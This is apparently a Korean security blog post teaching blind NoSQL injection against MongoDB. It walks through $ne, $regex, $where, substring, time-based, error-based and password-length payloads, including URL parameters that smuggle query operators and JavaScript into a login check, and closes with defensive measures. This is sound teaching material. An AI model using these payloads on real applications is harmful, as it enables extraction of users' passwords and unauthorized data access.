Blind NoSQL Injection 개요
Blind NoSQL Injection은 데이터베이스가 직접적인 에러 메시지나 데이터를 반환하지 않는 상황에서 참/거짓 결과를 이용해 정보를 추출하는 기법입니다. 이를 통해 공격자는 데이터베이스의 구조나 중요한 정보를 알아낼 수 있습니다.
주요 연산자
Name | Description |
---|---|
$expr |
쿼리 언어 내에서 집계 식을 사용할 수 있습니다. |
$regex |
지정된 정규식과 일치하는 문서를 선택합니다. |
$text |
지정된 텍스트를 검색합니다. |
$where |
JavaScript 표현식을 만족하는 문서와 일치합니다. |
더 많은 연산자는 MongoDB 연산자 공식 문서를 통해 확인할 수 있습니다.
공격 기법
1. 기본 NoSQL Injection
입력값을 조작하여 쿼리의 구조를 변경함으로써 의도하지 않은 데이터를 조회하거나 수정할 수 있습니다.
http://example.com/api/user?username[$ne]=admin&password[$ne]=password
이 쿼리는 username
과 password
가 주어진 값과 같지 않은 모든 사용자 데이터를 조회합니다.
2. $regex Injection
정규식을 사용하여 특정 패턴과 일치하는 데이터를 조회합니다.
db.user.find({upw: {$regex: "^a"}})
db.user.find({upw: {$regex: "^b"}})
db.user.find({upw: {$regex: "^c"}})
// ...
db.user.find({upw: {$regex: "^g"}})
3. $where Injection
JavaScript 표현식을 사용하여 조건을 만족하는 데이터를 조회합니다.
db.user.find({$where: "this.upw.length > 5"})
4. Substring Injection
JavaScript 표현식을 사용하여 문자열의 부분 문자열을 비교합니다.
db.user.find({$where: "this.upw.substring(0,1) == 'a'"})
db.user.find({$where: "this.upw.substring(0,1) == 'b'"})
// ...
db.user.find({$where: "this.upw.substring(0,1) == 'g'"})
5. Time-based Injection (Sleep 함수 사용)
응답 시간의 차이를 이용하여 조건의 참/거짓을 판별합니다.
db.user.find({$where: "function() { if (this.upw.substring(0,1) == 'a') { sleep(5000); return true; } return false; }"})
/*
/?uid=guest' && this.upw.substring(0,1)=='a' && sleep(5000) && '1
/?uid=guest' && this.upw.substring(0,1)=='b' && sleep(5000) && '1
/?uid=guest' && this.upw.substring(0,1)=='c' && sleep(5000) && '1
...
/?uid=guest' && this.upw.substring(0,1)=='g' && sleep(5000) && '1
*/
6. Error-based Injection
고의로 에러를 발생시켜 에러 메시지를 통해 정보를 추출합니다.
db.user.find({$where: "this.uid == 'guest' && this.upw.substring(0,1) == 'g' && asdf && '1'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&& this.upw == 'g''",
"code" : 16722
}
7. Boolean-based Blind Injection
참/거짓 결과를 통해 조건을 만족하는지 여부를 판별합니다.
db.user.find({$where: "this.upw == 'secret'"})
// 응답 결과를 통해 조건의 참/거짓을 판별
8. 비밀번호 길이 획득
정규식을 사용하여 비밀번호 길이를 추측합니다.
{"uid": "admin", "upw": {"$regex": ".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex": ".{6}"}}
=> undefined
이 쿼리를 통해 비밀번호 길이가 5임을 알 수 있습니다.
방어 기법
다양한 NoSQL Injection 기법을 통해 공격자는 데이터베이스 정보를 추출하거나 쿼리의 구조를 변경할 수 있습니다. 이러한 공격을 방지하기 위해 다음과 같은 방어 기법을 사용해야 합니다:
- 입력값 검증: 모든 입력값에 대해 엄격한 검증을 수행합니다.
- ORM/ODM 사용: Mongoose와 같은 ORM/ODM을 사용하여 쿼리를 안전하게 생성합니다.
- 파라미터화된 쿼리: 쿼리를 작성할 때 사용자 입력값을 직접 포함하지 않고, 파라미터화된 쿼리를 사용합니다.
- 보안 모듈 사용: Express Validator와 같은 보안 모듈을 사용하여 입력값을 검증합니다.
- 최소 권한 원칙: 데이터베이스 사용자에게 최소한의 권한만 부여하여 권한 상승을 방지합니다.
'컴퓨터보안 > 웹서버' 카테고리의 다른 글
서버 관련 정리(자세히) (0) | 2024.05.23 |
---|---|
커맨드 인젝션 (Command Injection) (0) | 2024.05.21 |
NoSQL Injection (0) | 2024.05.20 |
ServerSide: SQL Injection (0) | 2024.05.16 |
SQL 문법 예시 및 정리 (0) | 2024.05.15 |